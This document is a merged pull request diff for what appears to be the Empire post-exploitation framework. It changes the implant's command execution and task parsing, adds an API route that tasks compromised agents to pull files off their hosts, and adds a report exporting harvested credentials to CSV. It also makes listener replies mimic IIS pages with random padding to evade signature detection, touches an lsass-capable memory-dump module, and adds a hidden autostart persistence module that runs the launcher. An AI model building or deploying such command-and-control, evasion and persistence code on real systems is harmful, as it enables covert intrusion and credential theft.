Merge pull request #1 from EmpireProject/dev

Dev

data/agent/agent.py

@@ -202,7 +202,7 @@ def process_tasking(data):
         if result:
             resultPackets += result
 
-        packetOffset = 8 + length
+        packetOffset = 12 + length
 
         while remainingData and remainingData != '':
             (packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking, offset=packetOffset)
@@ -210,7 +210,7 @@ def process_tasking(data):
             if result:
                 resultPackets += result
 
-            packetOffset += 8 + length
+            packetOffset += 12 + length
         
         # send_message() is patched in from the listener module
         send_message(resultPackets)
@@ -857,6 +857,9 @@ def run_command(command):
     elif ">" in command or ">>" in command or "<" in command or "<<" in command:
         p = subprocess.Popen(command,stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
         return ''.join(list(iter(p.stdout.readline, b'')))
+    elif ";" in command or "&&" in command:
+        p = subprocess.Popen(command,stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
+        return p.communicate()[0].strip()
     else:
         command_parts = []
         command_parts.append(command)

empire

@@ -905,6 +905,33 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
             execute_db_query(conn, 'UPDATE agents SET results=? WHERE session_id=?', ['', agentSessionID])
 
         return jsonify({'success': True})
+    @app.route('/api/agents/<string:agent_name>/download', methods=['POST'])
+    def task_agent_download(agent_name):
+        """
+        Tasks the specified agent to download a file
+        """
+
+        if agent_name.lower() == "all":
+            # enumerate all target agent sessionIDs
+            agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
+        else:
+            agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
+
+        if not agentNameIDs or len(agentNameIDs) == 0:
+            return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
+
+        if not request.json['filename']:
+            return make_response(jsonify({'error':'file name not provided'}), 404)
+
+        fileName = request.json['filename']
+        for agentNameID in agentNameIDs:
+            (agentName, agentSessionID) = agentNameID
+
+            msg = "Tasked agent to download %s" % (fileName)
+            main.agents.save_agent_log(agentSessionID, msg)
+            taskID = main.agents.add_agent_task_db(agentSessionID, 'TASK_DOWNLOAD', fileName)
+
+        return jsonify({'success': True, 'taskID': taskID})
 
     @app.route('/api/agents/<string:agent_name>/upload', methods=['POST'])
     def task_agent_upload(agent_name):
@@ -941,9 +968,9 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
             msg = "Tasked agent to upload %s : %s" % (fileName, hashlib.md5(rawBytes).hexdigest())
             main.agents.save_agent_log(agentSessionID, msg)
             data = fileName + "|" + fileData
-            main.agents.add_agent_task_db(agentSessionID, 'TASK_UPLOAD', data)
+            taskID = main.agents.add_agent_task_db(agentSessionID, 'TASK_UPLOAD', data)
 
-        return jsonify({'success': True})
+        return jsonify({'success': True, 'taskID': taskID})
 
     @app.route('/api/agents/<string:agent_name>/shell', methods=['POST'])
     def task_agent_shell(agent_name):

lib/common/empire.py

@@ -24,6 +24,7 @@ import shlex
 import pkgutil
 import importlib
 import base64
+import threading
 
 # Empire imports
 import helpers
@@ -80,6 +81,7 @@ class MainMenu(cmd.Cmd):
         self.conn = self.database_connect()
         time.sleep(1)
 
+        self.lock = threading.Lock()
         # pull out some common configuration information
         (self.isroot, self.installPath, self.ipWhiteList, self.ipBlackList, self.obfuscate, self.obfuscateCommand) = helpers.get_config('rootuser, install_path,ip_whitelist,ip_blacklist,obfuscate,obfuscate_command')
 
@@ -112,6 +114,15 @@ class MainMenu(cmd.Cmd):
         # print the loading menu
         messages.loading()
     
+    def get_db_connection(self):
+        """
+        Returns the 
+        """
+        self.lock.acquire()
+        self.conn.row_factory = None
+        self.lock.release()
+        return self.conn
+
 
     def check_root(self):
         """
@@ -850,6 +861,77 @@ class MainMenu(cmd.Cmd):
                     print helpers.color("[*] " + os.path.basename(file) + " was already obfuscated. Not reobfuscating.")
                 helpers.obfuscate_module(file, self.obfuscateCommand, reobfuscate)
 
+    def do_report(self, line):
+        "Produce report CSV and log files: sessions.csv, credentials.csv, master.log"
+        conn = self.get_db_connection()
+        try:
+            self.lock.acquire()
+
+            # Agents CSV
+            cur = conn.cursor()
+            cur.execute('select session_id, hostname, username, checkin_time from agents')
+
+            rows = cur.fetchall()
+            print helpers.color("[*] Writing data/sessions.csv")
+            f = open('data/sessions.csv','w')
+            f.write("SessionID, Hostname, User Name, First Check-in\n")
+            for row in rows:
+                f.write(row[0]+ ','+ row[1]+ ','+ row[2]+ ','+ row[3]+'\n')
+            f.close()
+
+            # Credentials CSV
+            cur.execute("""
+            SELECT
+                domain
+                ,username
+                ,host
+                ,credtype
+                ,password
+            FROM
+                credentials
+            ORDER BY
+                domain
+                ,credtype
+                ,host
+            """)
+
+            rows = cur.fetchall()
+            print helpers.color("[*] Writing data/credentials.csv")
+            f = open('data/credentials.csv','w')
+            f.write('Domain, Username, Host, Cred Type, Password\n')
+            for row in rows:
+                f.write(row[0]+ ','+ row[1]+ ','+ row[2]+ ','+ row[3]+ ','+ row[4]+'\n')
+            f.close()
+
+            # Empire Log
+            cur.execute("""
+            SELECT
+                reporting.time_stamp
+                ,reporting.event_type
+                ,reporting.name as "AGENT_ID"
+                ,a.hostname
+                ,reporting.taskID
+                ,t.data AS "Task"
+                ,r.data AS "Results"
+            FROM
+                reporting
+                JOIN agents a on reporting.name = a.session_id
+                LEFT OUTER JOIN taskings t on (reporting.taskID = t.id) AND (reporting.name = t.agent)
+                LEFT OUTER JOIN results r on (reporting.taskID = r.id) AND (reporting.name = r.agent)
+            WHERE
+                reporting.event_type == 'task' OR reporting.event_type == 'checkin'
+            """)
+            rows = cur.fetchall()
+            print helpers.color("[*] Writing data/master.log")
+            f = open('data/master.log', 'w')
+            f.write('Empire Master Taskings & Results Log by timestamp\n')
+            f.write('='*50 + '\n\n')
+            for row in rows:
+                f.write('\n' + row[0] + ' - ' + row[3] + ' (' + row[2] + ')> ' + unicode(row[5]) + '\n' + unicode(row[6]) + '\n')
+            f.close()
+            cur.close()
+        finally:
+            self.lock.release()
 
     def complete_usemodule(self, text, line, begidx, endidx, language=None):
         "Tab-complete an Empire module path."

lib/listeners/http_com.py

@@ -7,7 +7,7 @@ import time
 import copy
 import sys
 from pydispatch import dispatcher
-from flask import Flask, request, make_response
+from flask import Flask, request, make_response, send_from_directory
 
 # Empire imports
 from lib.common import helpers
@@ -137,17 +137,86 @@ class Listener:
         # set the default staging key to the controller db default
         self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
 
+        # randomize the length of the default_response and index_page headers to evade signature based scans
+        self.header_offset = random.randint(0,64)
 
     def default_response(self):
+         """
+         Returns an IIS 7.5 404 not found page.
+         """
+    
+         return '\n'.join([
+             '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
+             '<html xmlns="http://www.w3.org/1999/xhtml">',
+             '<head>',
+             '<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>',
+             '<title>404 - File or directory not found.</title>',
+             '<style type="text/css">',
+             '<!--',
+             'body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}',
+             'fieldset{padding:0 15px 10px 15px;}',
+             'h1{font-size:2.4em;margin:0;color:#FFF;}',
+             'h2{font-size:1.7em;margin:0;color:#CC0000;}',
+             'h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}',
+             '#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;',
+             'background-color:#555555;}',
+             '#content{margin:0 0 0 2%;position:relative;}',
+             '.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}',
+             '-->',
+             '</style>',
+             '</head>',
+             '<body>',
+             '<div id="header"><h1>Server Error</h1></div>',
+             '<div id="content">',
+             ' <div class="content-container"><fieldset>',
+             '  <h2>404 - File or directory not found.</h2>',
+             '  <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>',
+             ' </fieldset></div>',
+             '</div>',
+             '</body>',
+             '</html>',
+             ' ' * self.header_offset,  # randomize the length of the header to evade signature based detection
+         ]) 
+
+    def index_page(self):
         """
         Returns a default HTTP server page.
         """
-        page = "<html><body><h1>It works!</h1>"
-        page += "<p>This is the default web page for this server.</p>"
-        page += "<p>The web server software is running but no content has been added, yet.</p>"
-        page += "</body></html>"
-        return page
 
+        return '\n'.join([
+            '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
+            '<html xmlns="http://www.w3.org/1999/xhtml">',
+            '<head>',
+            '<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />',
+            '<title>IIS7</title>',
+            '<style type="text/css">',
+            '<!--',
+            'body {',
+            '    color:#000000;',
+            '    background-color:#B3B3B3;',
+            '    margin:0;',
+            '}',
+            '',
+            '#container {',
+            '    margin-left:auto;',
+            '    margin-right:auto;',
+            '    text-align:center;',
+            '    }',
+            '',
+            'a img {',
+            '    border:none;',
+            '}',
+            '',
+            '-->',
+            '</style>',
+            '</head>',
+            '<body>',
+            '<div id="container">',
+            '<a href="http://go.microsoft.com/fwlink/?linkid=66138&amp;clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>',
+            '</div>',
+            '</body>',
+            '</html>',
+        ])
 
     def validate_options(self):
         """
@@ -563,7 +632,7 @@ class Listener:
             """
             if not self.mainMenu.agents.is_ip_allowed(request.remote_addr):
                 dispatcher.send("[!] %s on the blacklist/not on the whitelist requested resource" % (request.remote_addr), sender="listeners/http_com")
-                return make_response(self.default_response(), 200)
+                return make_response(self.default_response(), 404)
 
 
         @app.after_request
@@ -581,6 +650,24 @@ class Listener:
             response.headers['Expires'] = "0"
             return response
 
+        @app.route('/')
+        @app.route('/index.html')
+        def serve_index():
+            """
+            Return default server web page if user navigates to index.
+            """
+            
+            static_dir = self.mainMenu.installPath + "data/misc/"
+            return make_response(self.index_page(), 200)
+
+        @app.route('/welcome.png')
+        def serve_index_helper():
+            """
+            Serves image loaded by index page.
+            """
+
+            static_dir = self.mainMenu.installPath + "data/misc/"
+            return send_from_directory(static_dir, 'welcome.png')
 
         @app.route('/<path:request_uri>', methods=['GET'])
         def handle_get(request_uri):
@@ -624,7 +711,7 @@ class Listener:
                                     print helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP))
                                     return make_response(self.default_response(), 401)
                                 else:
-                                    return make_response(self.default_response(), 200)
+                                    return make_response(self.default_response(), 404)
 
                             else:
                                 # actual taskings
@@ -632,13 +719,13 @@ class Listener:
                                 return make_response(base64.b64encode(results), 200)
                         else:
                             # dispatcher.send("[!] Results are None...", sender='listeners/http_com')
-                            return make_response(self.default_response(), 200)
+                            return make_response(self.default_response(), 404)
                 else:
-                    return make_response(self.default_response(), 200)
+                    return make_response(self.default_response(), 404)
 
             else:
                 dispatcher.send("[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http_com')
-                return make_response(self.default_response(), 200)
+                return make_response(self.default_response(), 404)
 
 
         @app.route('/<path:request_uri>', methods=['POST'])
@@ -676,16 +763,16 @@ class Listener:
 
                         elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'):
                             dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http_com')
-                            return make_response(self.default_response(), 200)
+                            return make_response(self.default_response(), 404)
                         elif results == 'VALID':
                             dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http_com')
-                            return make_response(self.default_response(), 200)
+                            return make_response(self.default_response(), 404)
                         else:
                             return make_response(base64.b64encode(results), 200)
                     else:
-                        return make_response(self.default_response(), 200)
+                        return make_response(self.default_response(), 404)
             else:
-                return make_response(self.default_response(), 200)
+                return make_response(self.default_response(), 404)
 
         try:
             certPath = listenerOptions['CertPath']['Value']

lib/modules/powershell/collection/minidump.py

@@ -9,13 +9,13 @@ class Module:
 
             'Author': ['@mattifestation'],
 
-            'Description': ('Generates a full-memory minidump of a process.'),
+            'Description': ('Generates a full-memory dump of a process. Note: To dump another user\'s process, you must be running from an elevated prompt (e.g to dump lsass)'),
 
             'Background' : True,
 
             'OutputExtension' : None,
             
-            'NeedsAdmin' : True,
+            'NeedsAdmin' : False,
 
             'OpsecSafe' : False,
 
@@ -89,9 +89,9 @@ class Module:
             if option.lower() != "agent":
                 if values['Value'] and values['Value'] != '':
                     if option == "ProcessName":
-                        scriptEnd += "Get-Process " + values['Value'] + " | Out-Minidump"
+                        scriptEnd = "Get-Process " + values['Value'] + " | Out-Minidump"
                     elif option == "ProcessId":
-                        scriptEnd += "Get-Process -Id " + values['Value'] + " | Out-Minidump"
+                        scriptEnd = "Get-Process -Id " + values['Value'] + " | Out-Minidump"
         
         for option,values in self.options.iteritems():
             if values['Value'] and values['Value'] != '':

lib/modules/python/persistence/multi/desktopfile

@@ -0,0 +1,114 @@
+import base64
+class Module:
+
+    def __init__(self, mainMenu, params=[]):
+
+        # metadata info about the module, not modified during runtime
+        self.info = {
+            # name for the module that will appear in module menus
+            'Name': 'DesktopFile',
+
+            # list of one or more authors for the module
+            'Author': ['@jarrodcoulter'],
+
+            # more verbose multi-line description of the module
+            'Description': ('Installs an Empire launcher script in ~/.config/autostart.'),
+
+            # True if the module needs to run in the background
+            'Background' : False,
+
+            # File extension to save the file as
+            'OutputExtension' : None,
+
+            # if the module needs administrative privileges
+            'NeedsAdmin' : False,
+
+            # True if the method doesn't touch disk/is reasonably opsec safe
+            'OpsecSafe' : False,
+
+            # the module language
+            'Language' : 'python',
+
+            # the minimum language version needed
+            'MinLanguageVersion' : '2.6',
+
+            # list of any references/other comments
+            'Comments': [https://digitasecurity.com/blog/2018/01/23/crossrat/
+            https://specifications.freedesktop.org/desktop-entry-spec/latest/ar01s07.html, 
+            https://neverbenever.wordpress.com/2015/02/11/how-to-autostart-a-program-in-raspberry-pi-or-linux/]
+        }
+
+        # any options needed by the module, settable during runtime
+        self.options = {
+            # format:
+            #   value_name : {description, required, default_value}
+            'Agent' : {
+                # The 'Agent' option is the only one that MUST be in a module
+                'Description'   :   'Agent to execute module on.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+            'Listener' : {
+                'Description'   :   'Listener to use.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+            'FileName' : {
+                'Description'   :   'File name without extension that you would like created in ~/.config/autostart/ folder.',
+                'Required'      :   False,
+                'Value'         :   'sec_start'
+            },
+
+        }
+
+        # save off a copy of the mainMenu object to access external functionality
+        #   like listeners/agent handlers/etc.
+        self.mainMenu = mainMenu
+
+        # During instantiation, any settable option parameters
+        #   are passed as an object set to the module and the
+        #   options dictionary is automatically set. This is mostly
+        #   in case options are passed on the command line
+        if params:
+            for param in params:
+                # parameter format is [Name, Value]
+                option, value = param
+                if option in self.options:
+                    self.options[option]['Value'] = value
+
+    def generate(self, obfuscate=False, obfuscationCommand=""):
+
+        FileName = self.options['FileName']['Value']
+        listenerName = self.options['Listener']['Value']
+        launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python')
+        launcher = launcher.strip('echo').strip(' | /usr/bin/python &')
+        dtSettings = """
+[Desktop Entry]
+Name=%s
+Exec=python -c %s
+Type=Application
+NoDisplay=True
+""" % (FileName, launcher)
+        script = """
+import subprocess
+import sys
+import os
+dtFile = \"\"\"
+%s
+\"\"\"
+home = os.path.expanduser("~")
+FilePath = home + "/.config/autostart/"
+WriteFile = FilePath + "%s.desktop"
+
+if not os.path.exists(FilePath):
+    os.makedirs(FilePath)
+e = open(WriteFile,'wb')
+e.write(dtFile)
+e.close()
+
+print "\\n[+] Persistence has been installed: ~/.config/autostart/%s"
+print "\\n[+] Empire daemon has been written to %s"
+
+""" % (dtSettings, FileName, FileName, FileName)
+
+        return script